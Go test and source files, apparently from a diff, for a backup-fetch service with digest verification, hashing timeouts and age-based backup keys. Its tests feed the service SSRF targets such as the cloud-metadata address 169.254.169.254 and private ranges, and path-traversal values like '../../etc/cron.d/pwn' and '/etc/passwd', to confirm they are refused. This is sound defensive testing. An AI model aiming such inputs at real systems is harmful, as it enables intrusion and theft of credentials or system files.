deadline := time.Now().Add(10 * time.Second)
for time.Now().Before(deadline) {
out, _, code := drive(t, backupRoot, backupFetchReq{Op: "status", JobID: id})
if code != 0 {
t.Fatalf("status exited %d", code)
}
var j backupJob
if err := json.Unmarshal([]byte(out), &j); err != nil {
t.Fatalf("status is not JSON: %v (%s)", err, out)
}
if j.State != "running" {
return j
}
time.Sleep(25 * time.Millisecond)
}
t.Fatal("job never left running")
return backupJob{}
}
func startAndAwait(t *testing.T, root string, req backupFetchReq) backupJob {
t.Helper()
out, errOut, code := drive(t, root, req)
if code != 0 {
t.Fatalf("start exited %d: %s", code, errOut)
}
var started struct {
ID string `json:"id"`
State string `json:"state"`
}
if err := json.Unmarshal([]byte(out), &started); err != nil {
t.Fatalf("start reply is not JSON: %v (%s)", err, out)
}
if started.State == "done" { // already-present short circuit
var j backupJob
_ = json.Unmarshal([]byte(out), &j)
return j
}
return awaitJob(t, root, started.ID)
}
func artifactServer(t *testing.T, body []byte) (*httptest.Server, string) {
t.Helper()
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
_, _ = w.Write(body)
}))
t.Cleanup(srv.Close)
sum := sha256.Sum256(body)
return srv, hex.EncodeToString(sum[:])
}
// The SSRF wall refuses httptest's 127.0.0.1 URLs, which is exactly right and
// also makes a happy-path test impossible against a local server. So the happy
// path drives runBackupFetch directly (the same function the goroutine runs),
// and the wall gets its own tests through the full frame path.
func TestBackupFetchWritesVerifiedArtifact(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := []byte(strings.Repeat("the user's backup, 2026-08-18. ", 5000))
srv, want := artifactServer(t, body)
http.DefaultTransport.(*http.Transport).TLSClientConfig = nil // keep other tests clean
dest := filepath.Join(root, "privatae", "tenant-42", "backup.tar.zst.age")
job := &backupJob{ID: "t1", SHA256: want, Want: int64(len(body)), State: "running"}
// srv.Client() trusts the test cert; runBackupFetch builds its own client, so
// point it at the server through the same transport by installing the cert.
oldTransport := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
defer func() { http.DefaultTransport = oldTransport }()
runBackupFetch(job, srv.URL+"/artifact", dest, int64(len(body))+1)
if job.State != "done" {
t.Fatalf("state=%s error=%s", job.State, job.Error)
}
got, err := os.ReadFile(dest)
if err != nil {
t.Fatalf("destination not written: %v", err)
}
if string(got) != string(body) {
t.Fatal("delivered bytes differ from the source")
}
if job.Got != int64(len(body)) {
t.Fatalf("progress says %d bytes, file has %d", job.Got, len(body))
}
fi, _ := os.Stat(dest)
if fi.Mode().Perm() != 0o600 {
t.Fatalf("artifact mode is %v, want 0600 — a backup is not world-readable", fi.Mode().Perm())
}
// No .part left behind.
entries, _ := os.ReadDir(filepath.Dir(dest))
for _, e := range entries {
if strings.HasSuffix(e.Name(), ".part") {
t.Fatalf("temp file survived: %s", e.Name())
}
}
}
func TestBackupFetchRefusesWrongDigest(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := []byte("a backup that got tampered with")
srv, _ := artifactServer(t, body)
oldTransport := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
defer func() { http.DefaultTransport = oldTransport }()
dest := filepath.Join(root, "x.bin")
wrong := strings.Repeat("00", 32)
job := &backupJob{ID: "t2", SHA256: wrong, Want: int64(len(body)), State: "running"}
runBackupFetch(job, srv.URL+"/a", dest, 1<<20)
if job.State != "failed" {
t.Fatalf("a wrong digest must fail, got %s", job.State)
}
if !strings.Contains(job.Error, "sha256 mismatch") {
t.Fatalf("error should name the mismatch, got %q", job.Error)
}
if _, err := os.Stat(dest); !os.IsNotExist(err) {
t.Fatal("a failed fetch must leave NOTHING at the destination path")
}
}
func TestBackupFetchRefusesOversizeBody(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := []byte(strings.Repeat("x", 4096))
srv, want := artifactServer(t, body)
oldTransport := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
defer func() { http.DefaultTransport = oldTransport }()
dest := filepath.Join(root, "big.bin")
job := &backupJob{ID: "t3", SHA256: want, Want: 100, State: "running"}
runBackupFetch(job, srv.URL+"/a", dest, 100) // declared 100, serves 4096
if job.State != "failed" || !strings.Contains(job.Error, "larger than the declared") {
t.Fatalf("oversize body must stop the stream, got state=%s err=%q", job.State, job.Error)
}
if _, err := os.Stat(dest); !os.IsNotExist(err) {
t.Fatal("nothing should be published")
}
}
func TestBackupFetchRefusesHTTPError(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
http.Error(w, "expired", http.StatusForbidden)
}))
defer srv.Close()
oldTransport := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
defer func() { http.DefaultTransport = oldTransport }()
job := &backupJob{ID: "t4", SHA256: strings.Repeat("ab", 32), State: "running"}
runBackupFetch(job, srv.URL+"/a", filepath.Join(root, "e.bin"), 1<<20)
if job.State != "failed" || !strings.Contains(job.Error, "HTTP 403") {
t.Fatalf("an expired signed URL must surface its status, got %q", job.Error)
}
}
// ── the SSRF wall, through the full frame path ───────────────────────────────
func TestBackupFetchRefusesPrivateAndLocalTargets(t *testing.T) {
root := t.TempDir()
cases := []struct{ url, why string }{
{"http://example.com/a", "plain http"},
{"https://127.0.0.1/a", "loopback"},
{"https://localhost/a", "loopback by name"},
{"https://192.168.1.1/a", "the user's router"},
{"https://10.0.0.5/a", "private range"},
{"https://172.16.4.4/a", "private range"},
{"https://100.64.1.1/a", "carrier-grade NAT / tailnet"},
{"https://169.254.169.254/a", "cloud metadata"},
{"https://[fd00:1::10]/a", "a private ULA mesh"},
{"https://[::1]/a", "IPv6 loopback"},
}
for _, c := range cases {
_, errOut, code := drive(t, root, backupFetchReq{
Op: "start", URL: c.url, RPath: "a.bin",
SHA256: strings.Repeat("ab", 32), Size: 10,
})
if code == 0 {
t.Errorf("%s (%s) was ACCEPTED — the wall is open", c.url, c.why)
continue
}
if !strings.Contains(errOut, "backup_fetch:") {
t.Errorf("%s: refusal should say why, got %q", c.url, errOut)
}
}
}
func TestBackupFetchRefusesBadArguments(t *testing.T) {
root := t.TempDir()
good := backupFetchReq{Op: "start", URL: "https://s3.example.com/a",
RPath: "a.bin", SHA256: strings.Repeat("ab", 32), Size: 10}
bad := map[string]backupFetchReq{}
b := good
b.RPath = "../../etc/cron.d/pwn"
bad["path traversal"] = b
b = good
b.RPath = "/etc/passwd"
bad["absolute path"] = b
b = good
b.SHA256 = "abc"
bad["short digest"] = b
b = good
b.SHA256 = strings.Repeat("zz", 32)
bad["non-hex digest"] = b
b = good
b.Size, b.MaxBytes = 0, 0
bad["no size"] = b
b = good
b.Size, b.MaxBytes = 0, backupFetchMaxBytes+1
bad["absurd size"] = b
for name, req := range bad {
_, errOut, code := drive(t, root, req)
if code == 0 {
t.Errorf("%s was ACCEPTED", name)
}
if !strings.Contains(errOut, "backup_fetch:") {
t.Errorf("%s: refusal should name the op, got %q", name, errOut)
}
}
}
func TestBackupFetchRefusedWithoutADestination(t *testing.T) {
// No backup root configured = the op does not exist here, reported the same
// way an un-allowlisted op is (126), not as a crash.
_, errOut, code := drive(t, "", backupFetchReq{Op: "start", URL: "https://s3.example.com/a",
RPath: "a.bin", SHA256: strings.Repeat("ab", 32), Size: 10})
if code != 126 {
t.Fatalf("want exit 126 with no destination configured, got %d", code)
}
if !strings.Contains(errOut, "backup destination not configured") {
t.Fatalf("refusal should say what is missing, got %q", errOut)
}
}
func TestBackupFetchIsIdempotent(t *testing.T) {
root := t.TempDir()
body := []byte("already here")
sum := sha256.Sum256(body)
want := hex.EncodeToString(sum[:])
if err := os.WriteFile(filepath.Join(root, "a.bin"), body, 0o600); err != nil {
t.Fatal(err)
}
// URL is deliberately unreachable: if the short circuit does not fire, this
// fails, which is the point — a retry must not re-download gigabytes.
out, errOut, code := drive(t, root, backupFetchReq{
Op: "start", URL: "https://s3.example.invalid/a", RPath: "a.bin",
SHA256: want, Size: int64(len(body)),
})
if code != 0 {
t.Fatalf("an already-correct artifact must report done, got %d: %s", code, errOut)
}
var j backupJob
if err := json.Unmarshal([]byte(out), &j); err != nil || j.State != "done" {
t.Fatalf("want state=done, got %s (%v)", out, err)
}
}
func TestBackupFetchStatusOfUnknownJob(t *testing.T) {
// After a bastion restart the in-memory job is gone. "unknown" lets the host
// re-start (which is idempotent); "failed" would make it give up.
out, _, code := drive(t, t.TempDir(), backupFetchReq{Op: "status", JobID: "bf-nope"})
if code != 0 || !strings.Contains(out, `"state":"unknown"`) {
t.Fatalf("want a clean unknown, got %d %s", code, out)
}
}
func TestIsPublicIPClassification(t *testing.T) {
// The table the wall rests on. Named separately so a regression here points
// at the classifier rather than at ten URL cases.
private := []string{"127.0.0.1", "10.1.2.3", "172.20.0.1", "192.168.0.1",
"169.254.1.1", "100.64.0.1", "100.127.255.255", "::1", "fd00:1::10", "fe80::1", "0.0.0.0"}
public := []string{"1.1.1.1", "8.8.8.8", "51.68.1.1", "100.63.255.255",
"100.128.0.1", "2606:4700::1111"}
for _, s := range private {
if isPublicIP(mustIP(t, s)) {
t.Errorf("%s classified PUBLIC — the wall would let it through", s)
}
}
for _, s := range public {
if !isPublicIP(mustIP(t, s)) {
t.Errorf("%s classified private — a real backup source would be refused", s)
}
}
}
// The backup lanes judge an address the way a coder run's proxy does: the IPv4
// address inside a NAT64, 6to4, IPv4-compatible or IPv4-translated address,
// and the site-local, benchmarking and reserved ranges. The classifier took
// every address in `refused` as public before; each is now refused at the
// classifier, the address wall and the URL check. Public addresses in the
// same forms, and the addresses either side of 198.18.0.0/15, still pass.
//
// MUTATION: restore isPublicIP's own list (no unwrapping, no fec0::/10,
// 198.18.0.0/15 or 240.0.0.0/4).
// RESULT: red — every address in `refused` is classified public.
func TestBackupWallJudgesTheIPv4InsideAndTheReservedRanges(t *testing.T) {
refused := []string{
"64:ff9b::a00:1", // NAT64 of 10.0.0.1
"64:ff9b::7f00:1", // NAT64 of 127.0.0.1
"64:ff9b:1::a00:1", // local-use NAT64 (RFC 8215): not readable here
"2002:a00:1::1", // 6to4 of 10.0.0.1
"2002:a9fe:a9fe::", // 6to4 of 169.254.169.254
"::a00:1", // IPv4-compatible 10.0.0.1
"::ffff:0:a00:1", // IPv4-translated 10.0.0.1
"fec0::1", // site-local
"198.18.0.1", "198.19.255.255", // benchmarking
"240.0.0.1", "255.255.255.255", // reserved, limited broadcast
"::ffff:198.18.0.1", "64:ff9b::f000:1", // the same, inside IPv6
}
for _, s := range refused {
ip := mustIP(t, s)
if isPublicIP(ip) {
t.Errorf("%s classified PUBLIC — the wall would let it through", s)
}
if backupAddrAllowed(ip) {
t.Errorf("%s passes the backup lanes' address wall", s)
}
if err := validateBackupURL("https://" + net.JoinHostPort(s, "443") + "/b.tar"); err == nil {
t.Errorf("%s passes the backup lanes' URL check", s)
}
}
for _, s := range []string{"64:ff9b::808:808", "2002:808:808::1", "::ffff:8.8.8.8", "198.17.255.255", "198.20.0.1"} {
if !isPublicIP(mustIP(t, s)) {
t.Errorf("%s classified private — a real backup source would be refused", s)
}
}
}
func mustIP(t *testing.T, s string) net.IP {
t.Helper()
ip := net.ParseIP(s)
if ip == nil {
t.Fatalf("bad test IP %q", s)
}
return ip
}
// allowLoopbackFetch lets the dial-time wall (backupDialAllowed) accept the
// loopback test server for one test; validateBackupURL is not touched.
func allowLoopbackFetch(t *testing.T) {
t.Helper()
prev := backupDialAllowed
backupDialAllowed = func(net.IP) bool { return true }
t.Cleanup(func() { backupDialAllowed = prev })
}
+106
View File
@@ -0,0 +1,106 @@
package main
// The backup fixtures are made when a test runs, never committed: a key in
// the repository, even a test key, is one more secret-shaped string for a
// scanner to flag and for a person to wonder about. When the age command is
// there, the sidecar is written by it, in the shape a host writes, so the
// cross-language check reads a file this code did not produce.
import (
"bytes"
"encoding/json"
"os"
"os/exec"
"path/filepath"
"testing"
"filippo.io/age"
"filippo.io/age/armor"
)
const fixtureStamp = "20260928T020000Z"
// fixtureEntity is the host number the fixture sidecar names, and the
// pairing fixtureHost is the one paired to that host (withFixturePairings).
const (
fixtureEntity = 42
fixtureHost = "h42.host.privatae.ai"
)
type backupFixture struct {
dir string
recovery *age.X25519Identity // a key the sidecar is sealed to
recoveryFile string // the same key as an age identity file
sidecarFile string // <stamp>.key.age
plain []byte // the sealed record, byte for byte
byAgeCommand bool
}
// newBackupFixture makes a sidecar for fixtureStamp sealed to a fresh key,
// written by the age command at bin when bin is not "", else by this code:
// host fixtureEntity's backup kept in platform storage (b/).
func newBackupFixture(t *testing.T, bin string) *backupFixture {
t.Helper()
return newBackupFixtureAs(t, bin, "b", fixtureEntity)
}
// newBackupFixtureAs is newBackupFixture for the backup of host entity kept
// under sub: "b" (platform storage) or "s" (staged there, the shape of a
// backup kept only on a bastion).
func newBackupFixtureAs(t *testing.T, bin, sub string, entity int64) *backupFixture {
t.Helper()
dir := t.TempDir()
rec, _ := age.GenerateX25519Identity()
one, _ := age.GenerateX25519Identity()
fx := &backupFixture{dir: dir, recovery: rec,
recoveryFile: filepath.Join(dir, "recovery.txt"),
sidecarFile: filepath.Join(dir, fixtureStamp+".key.age")}
if err := os.WriteFile(fx.recoveryFile, []byte(rec.String()+"\n"), 0o600); err != nil {
t.Fatal(err)
}
fx.plain, _ = json.Marshal(backupSidecar{V: 1, Kind: sidecarKind, Identity: one.String(),
Object: sub + "/" + fixtureStamp + ".tar.zst.age", EntityID: entity, Stamp: fixtureStamp,
MadeAt: "2026-09-28T02:00:00Z"})
if bin != "" {
plainFile := filepath.Join(dir, "sidecar.json")
_ = os.WriteFile(plainFile, fx.plain, 0o600)
out, err := exec.Command(bin, "-a", "-r", rec.Recipient().String(), "-o", fx.sidecarFile, plainFile).CombinedOutput()
if err != nil {
t.Fatalf("age could not write the fixture sidecar: %v %s", err, out)
}
fx.byAgeCommand = true
return fx
}
var b bytes.Buffer
aw := armor.NewWriter(&b)
w, _ := age.Encrypt(aw, rec.Recipient())
_, _ = w.Write(fx.plain)
_ = w.Close()
_ = aw.Close()
if err := os.WriteFile(fx.sidecarFile, b.Bytes(), 0o600); err != nil {
t.Fatal(err)
}
return fx
}
func (fx *backupFixture) sidecar(t *testing.T) []byte {
t.Helper()
b, err := os.ReadFile(fx.sidecarFile)
if err != nil {
t.Fatal(err)
}
return b
}
// installAsBastionKey makes the fixture's key the one this bastion holds.
func (fx *backupFixture) installAsBastionKey(t *testing.T) {
t.Helper()
keys := withBackupKeysDir(t)
raw, _ := recipientRaw(fx.recovery.Recipient())
fp := backupKeyFingerprint(raw)
_ = os.WriteFile(filepath.Join(keys, fp+".txt"), []byte(fx.recovery.String()+"\n"), 0o600)
_ = os.WriteFile(filepath.Join(keys, "active"), []byte(fp+"\n"), 0o600)
}
// fixtureWho is the pairing fixtureHost as the reseal lane binds it.
var fixtureWho = resealWho{Name: fixtureHost, Number: fixtureEntity}
+96
View File
@@ -0,0 +1,96 @@
package main
// Gate: the one background hashing job survives a file whose read never
// returns (a network mount that stopped answering). Each file gets a bound;
// past it the job moves on to the other folders, reads nothing more from that
// folder until the stuck read returns, and keeps that read's digest when it
// does.
import (
"os"
"path/filepath"
"sync"
"testing"
"time"
)
func awaitHash(t *testing.T, p, want, why string) {
t.Helper()
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
if fi, err := os.Lstat(p); err == nil && cachedHash(p, fi) == want {
return
}
time.Sleep(10 * time.Millisecond)
}
t.Fatal(why)
}
func TestAHashReadThatNeverReturnsHoldsUpNoOtherFolder(t *testing.T) {
const bound = 200 * time.Millisecond
hashMu.Lock()
prevBound := hashJobTimeout
hashJobTimeout = bound
hashMu.Unlock()
t.Cleanup(func() { hashMu.Lock(); hashJobTimeout = prevBound; hashMu.Unlock() })
quiet := opMaskLog
opMaskLog = func(string, ...any) {}
t.Cleanup(func() { opMaskLog = quiet })
dead, live := t.TempDir(), t.TempDir()
deadFile := filepath.Join(dead, fixtureData)
deadOther := filepath.Join(dead, "20260101T000000Z.tar.zst.age")
liveFile := filepath.Join(live, fixtureData)
for p, b := range map[string]string{deadFile: "stuck", deadOther: "stuck too", liveFile: "answers"} {
if err := os.WriteFile(p, []byte(b), 0o600); err != nil {
t.Fatal(err)
}
}
var mu sync.Mutex
deadReads := 0
gate := make(chan struct{})
var once sync.Once
release := func() { once.Do(func() { close(gate) }) }
prev := hashFileFn
hashFileFn = func(p string) (string, int64, error) {
if filepath.Dir(p) == dead {
mu.Lock()
deadReads++
mu.Unlock()
<-gate
}
return hashFile(p)
}
t.Cleanup(func() { release(); hashFileFn = prev })
reads := func() int {
mu.Lock()
defer mu.Unlock()
return deadReads
}
requestHash(deadFile)
deadline := time.Now().Add(5 * time.Second)
for reads() == 0 {
if time.Now().After(deadline) {
t.Fatal("the hashing job never started")
}
time.Sleep(5 * time.Millisecond)
}
requestHash(liveFile)
awaitHash(t, liveFile, sha([]byte("answers")),
"a read that never returned held up the hashing of every other folder")
// While the read is stuck, nothing more is read from that folder.
requestHash(deadOther)
time.Sleep(3 * bound)
if n := reads(); n != 1 {
t.Fatalf("the folder whose read is stuck was read %d times", n)
}
// When it returns, its digest is kept, and the folder is read again.
release()
awaitHash(t, deadFile, sha([]byte("stuck")), "the stuck read's digest was not kept when it returned")
requestHash(deadOther)
awaitHash(t, deadOther, sha([]byte("stuck too")), "the folder was not read again once it answered")
}
+184
View File
@@ -0,0 +1,184 @@
package main
// Gate: a read of a backup for its digest counts as stuck only when it has
// gone without an answer for its bound, not when the whole file takes longer
// than that. A large backup on a slow disk whose reads keep returning refuses
// no push from its folder; a read that stops answering still does.
import (
"bytes"
"os"
"path/filepath"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
)
const hashTestBound = 300 * time.Millisecond
// slowHash makes the hashing job read one file a byte at a time, each read
// taking pace: a disk that answers, slowly. After stallAfter reads (when not
// zero) its reads stop answering until finish. finish lets it read at full
// speed.
type slowHash struct {
reads atomic.Int64
fast chan struct{}
once sync.Once
logMu sync.Mutex
logs []string
}
func slowHashReads(t *testing.T, file string, pace time.Duration, stallAfter int64) *slowHash {
t.Helper()
s := &slowHash{fast: make(chan struct{})}
hashMu.Lock()
prevBound, prevRead := hashJobTimeout, hashRead
hashJobTimeout = hashTestBound
hashRead = func(f *os.File, p []byte) (int, error) {
if f.Name() != file {
return prevRead(f, p)
}
select {
case <-s.fast:
return prevRead(f, p)
default:
}
if n := s.reads.Add(1); stallAfter > 0 && n > stallAfter {
<-s.fast
return prevRead(f, p)
}
time.Sleep(pace)
return prevRead(f, p[:1])
}
hashMu.Unlock()
quiet := opMaskLog
opMaskLog = func(format string, a ...any) {
s.logMu.Lock()
defer s.logMu.Unlock()
s.logs = append(s.logs, format)
}
t.Cleanup(func() {
s.finish()
readsIdle(t)
eventually(t, "the hashing job ends", func() bool {
hashMu.Lock()
defer hashMu.Unlock()
return !hashRunning
})
hashMu.Lock()
hashJobTimeout, hashRead = prevBound, prevRead
hashMu.Unlock()
opMaskLog = quiet
})
return s
}
func (s *slowHash) finish() { s.once.Do(func() { close(s.fast) }) }
func (s *slowHash) logged(part string) bool {
s.logMu.Lock()
defer s.logMu.Unlock()
for _, l := range s.logs {
if strings.Contains(l, part) {
return true
}
}
return false
}
func hashReadInFlight(dir string) bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
r := backupReads[dir]
return r != nil && !r.hash.IsZero()
}
// A backup B in a folder that answers, slowly: reading it for its digest
// takes many times the bound, its reads returning all along. A push of
// another backup A in that folder starts and reads A while B is still being
// read.
func TestASlowHashThatKeepsAnsweringRefusesNoPushFromItsFolder(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
readsIdle(t)
root := t.TempDir()
rel, _ := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
big := filepath.Join(root, "20260101T000000Z.tar.zst.age")
body := bytes.Repeat([]byte("big new backup "), 300)
if err := os.WriteFile(big, body, 0o600); err != nil {
t.Fatal(err)
}
s := slowHashReads(t, big, 30*time.Millisecond, 0)
requestHash(big)
eventually(t, "the hashing job reads the big backup", func() bool { return s.reads.Load() > 0 })
time.Sleep(3 * hashTestBound)
if what, stuck := folderStuck(root, time.Now(), pushStallBound(), hashBound()); stuck {
t.Fatalf("a hash whose reads keep returning made its folder stuck: %s", what)
}
// Named with a digest that is not A's, the push reads all of A and fails
// on the comparison, sending nothing.
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("a push from a folder being hashed slowly did not read its file: %v", st)
}
if !hashReadInFlight(root) {
t.Fatal("the slow hash ended before the push read its file")
}
if !s.logged("is taking more than") || s.logged("has not answered") {
t.Fatal("the log of a slow hash does not say it is slow, or says it stopped answering")
}
s.finish()
awaitHash(t, big, sha(body), "the slow hash's digest was not kept")
}
// A read for a digest that answers for a while and then goes without an
// answer for the bound still makes its folder stuck: a push there is refused
// with the sentence about the digest, and the read counts toward the cap.
func TestAHashWithNoAnswerForTheBoundStillMarksItsFolderStuck(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
readsIdle(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
big := filepath.Join(root, "20260101T000000Z.tar.zst.age")
body := bytes.Repeat([]byte("big new backup "), 300)
if err := os.WriteFile(big, body, 0o600); err != nil {
t.Fatal(err)
}
s := slowHashReads(t, big, 30*time.Millisecond, 20)
requestHash(big)
// Past the bound in all, its reads answering: not stuck.
eventually(t, "the hashing job reads past the bound", func() bool { return s.reads.Load() >= 15 })
if what, stuck := folderStuck(root, time.Now(), pushStallBound(), hashBound()); stuck {
t.Fatalf("a hash whose reads keep returning made its folder stuck: %s", what)
}
// Then no answer: stuck, and a push is refused.
stuckPast(t, root)
_, errOut, code := startPush(t, root, rel, sum)
if code == 0 || !strings.Contains(errOut,
"backup_push: the folder of "+rel+" has not answered the reading of a backup for its digest for more than") {
t.Fatalf("a push in a folder whose hashing read stopped answering: %d %s", code, errOut)
}
backupReadMu.Lock()
n := stuckReadsLocked(time.Now(), pushStallBound(), hashBound())
backupReadMu.Unlock()
if n != 1 {
t.Fatalf("%d stuck reads counted toward the cap; want the hashing read's 1", n)
}
eventually(t, "the log says the read has not answered", func() bool { return s.logged("has not answered") })
// When it answers again its digest is kept, and a push starts.
s.finish()
awaitHash(t, big, sha(body), "the stalled hash's digest was not kept when it answered")
readsIdle(t)
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("a push once the hashing read answered: %v", st)
}
}
+467
View File
@@ -0,0 +1,467 @@
package main
// backupkey.go — this bastion's backup key, kept on this machine, and the
// sealed "sidecar" that carries each backup's own key.
//
// WHY THE KEY LIVES HERE. A host encrypts every backup, before it leaves the
// host, to the public keys registered with it: the host's recovery key (which
// its owner keeps) and any bastion keys like this one. Only a matching private
// key opens one, and the platform the host runs on holds none of them. So
// this key is made here, stays here (0600, in this bastion's own state
// directory), and only its PUBLIC half is ever shown: the owner registers it
// on the host as a bastion key.
//
// WHY A SIDECAR. Each backup is also encrypted to a key made for that backup
// alone, and that key's private half is sealed, in a small file beside the
// backup, to the registered keys. Restoring a host means handing it that one
// backup's key and nothing else: this machine opens the sidecar and seals the
// same contents again to the restoring host's own key (reseal). This
// bastion's key never leaves this machine and the host never gets a key that
// opens any other backup. Gigabytes never cross this machine's connection for
// it.
//
// Every encryption here is age (filippo.io/age); nothing is hand-rolled. The
// one piece of code written here that touches key material is bech32, which
// is an encoding: it turns a raw 32-byte public key into the "age1..." string
// age parses (and validates) itself.
import (
"bytes"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"time"
"filippo.io/age"
"filippo.io/age/armor"
)
// backupStampRe is a backup's name: its UTC time, to the second. The host
// names every backup this way; anything else is not a backup of ours.
var backupStampRe = regexp.MustCompile(`^[0-9]{8}T[0-9]{6}Z$`)
const (
sidecarKind = "privatae-backup-key"
// A sidecar is one short JSON document, armored. Anything larger is not
// one, and reading an unbounded input from a host into memory is refused.
sidecarMaxBytes = 64 << 10
)
// ── bech32 (BIP-173), the encoding of age's key strings ─────────────────────
const bech32Charset = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
func bech32Polymod(values []byte) uint32 {
gen := [5]uint32{0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3}
chk := uint32(1)
for _, v := range values {
top := chk >> 25
chk = (chk&0x1ffffff)<<5 ^ uint32(v)
for i := 0; i < 5; i++ {
if (top>>uint(i))&1 == 1 {
chk ^= gen[i]
}
}
}
return chk
}
func bech32HRPExpand(hrp string) []byte {
out := make([]byte, 0, len(hrp)*2+1)
for i := 0; i < len(hrp); i++ {
out = append(out, hrp[i]>>5)
}
out = append(out, 0)
for i := 0; i < len(hrp); i++ {
out = append(out, hrp[i]&31)
}
return out
}
func convertBits(data []byte, from, to uint, pad bool) ([]byte, error) {
var acc, bits uint32
maxv := uint32(1)<<to - 1
var out []byte
for _, b := range data {
if uint32(b)>>from != 0 {
return nil, errors.New("bech32: value out of range")
}
acc = acc<<from | uint32(b)
bits += uint32(from)
for bits >= uint32(to) {
bits -= uint32(to)
out = append(out, byte(acc>>bits&maxv))
}
}
if pad {
if bits > 0 {
out = append(out, byte(acc<<(uint32(to)-bits)&maxv))
}
} else if bits >= uint32(from) || acc<<(uint32(to)-bits)&maxv != 0 {
return nil, errors.New("bech32: bad padding")
}
return out, nil
}
// bech32Encode encodes data under a lowercase human-readable part.
func bech32Encode(hrp string, data []byte) (string, error) {
values, err := convertBits(data, 8, 5, true)
if err != nil {
return "", err
}
poly := bech32Polymod(append(append(bech32HRPExpand(hrp), values...), 0, 0, 0, 0, 0, 0)) ^ 1
var sb strings.Builder
sb.WriteString(hrp)
sb.WriteByte('1')
for _, v := range values {
sb.WriteByte(bech32Charset[v])
}
for i := 0; i < 6; i++ {
sb.WriteByte(bech32Charset[(poly>>uint(5*(5-i)))&31])
}
return sb.String(), nil
}
// bech32Decode returns (hrp, data) of a bech32 string in one case.
func bech32Decode(s string) (string, []byte, error) {
if strings.ToLower(s) != s && strings.ToUpper(s) != s {
return "", nil, errors.New("bech32: mixed case")
}
s = strings.ToLower(s)
pos := strings.LastIndexByte(s, '1')
if pos < 1 || pos+7 > len(s) {
return "", nil, errors.New("bech32: no separator or too short")
}
hrp := s[:pos]
var values []byte
for i := pos + 1; i < len(s); i++ {
d := strings.IndexByte(bech32Charset, s[i])
if d < 0 {
return "", nil, errors.New("bech32: invalid character")
}
values = append(values, byte(d))
}
if bech32Polymod(append(bech32HRPExpand(hrp), values...)) != 1 {
return "", nil, errors.New("bech32: bad checksum")
}
data, err := convertBits(values[:len(values)-6], 5, 8, false)
if err != nil {
return "", nil, err
}
return hrp, data, nil
}
// recipientRaw is the raw 32-byte X25519 public key inside an age1 recipient.
func recipientRaw(r *age.X25519Recipient) ([]byte, error) {
hrp, data, err := bech32Decode(r.String())
if err != nil {
return nil, err
}
if hrp != "age" || len(data) != 32 {
return nil, errors.New("not an age X25519 recipient")
}
return data, nil
}
// backupKeyFingerprint is sha256(raw public key), first 16 hex characters —
// the same string the host shows beside the key it holds, so a person can
// check the two are the same key.
func backupKeyFingerprint(raw []byte) string {
sum := sha256.Sum256(raw)
return hex.EncodeToString(sum[:])[:16]
}
// parseBackupRecipient accepts what a host or a person hands over as "the key
// to seal to": an age1 recipient, or the raw 32-byte public key in base64 (the
// form the host's backup settings take).
func parseBackupRecipient(s string) (*age.X25519Recipient, error) {
s = strings.TrimSpace(s)
if strings.HasPrefix(strings.ToLower(s), "age1") {
r, err := age.ParseX25519Recipient(strings.ToLower(s))
if err != nil {
return nil, fmt.Errorf("that is not a valid age recipient: %w", err)
}
return r, nil
}
raw, err := base64.StdEncoding.DecodeString(s)
if err != nil || len(raw) != 32 {
return nil, errors.New("the key to seal to must be an age1 recipient or a 32-byte public key in base64")
}
enc, err := bech32Encode("age", raw)
if err != nil {
return nil, err
}
return age.ParseX25519Recipient(enc)
}
// ── the key store on this machine ───────────────────────────────────────────
//
// Each key is a standard age identity file (<fingerprint>.txt, the format
// age-keygen writes), 0600 in this bastion's state directory. `active` names the one key this bastion shows and registers. A replaced key
// stays beside it: backups sealed to it still need it.
type backupKeyFile struct {
Identity string `json:"-"` // AGE-SECRET-KEY-1..., never printed
Recipient string `json:"recipient"`
PubB64 string `json:"pubkey_b64"`
Fingerprint string `json:"fingerprint"`
CreatedAt string `json:"created_at"`
Path string `json:"path"`
}
// backupKeysDir is overridable only so tests do not write into the real
// state directory of whoever runs them.
var backupKeysDir = func() (string, error) {
d, err := configDir()
if err != nil {
return "", err
}
p := filepath.Join(d, "backup-keys")
return p, os.MkdirAll(p, 0o700)
}
var backupKeyFileRe = regexp.MustCompile(`^[0-9a-f]{16}\.txt$`)
func backupKeyFromIdentityFile(path string) (*backupKeyFile, error) {
raw, err := os.ReadFile(path)
if err != nil {
return nil, err
}
k := &backupKeyFile{Path: path}
for _, line := range strings.Split(string(raw), "\n") {
line = strings.TrimSpace(line)
switch {
case strings.HasPrefix(line, "# created: "):
k.CreatedAt = strings.TrimPrefix(line, "# created: ")
case strings.HasPrefix(line, "AGE-SECRET-KEY-1"):
k.Identity = line
}
}
id, err := age.ParseX25519Identity(k.Identity)
if err != nil {
return nil, fmt.Errorf("backup key file %s holds no usable key", filepath.Base(path))
}
pub, err := recipientRaw(id.Recipient())
if err != nil {
return nil, err
}
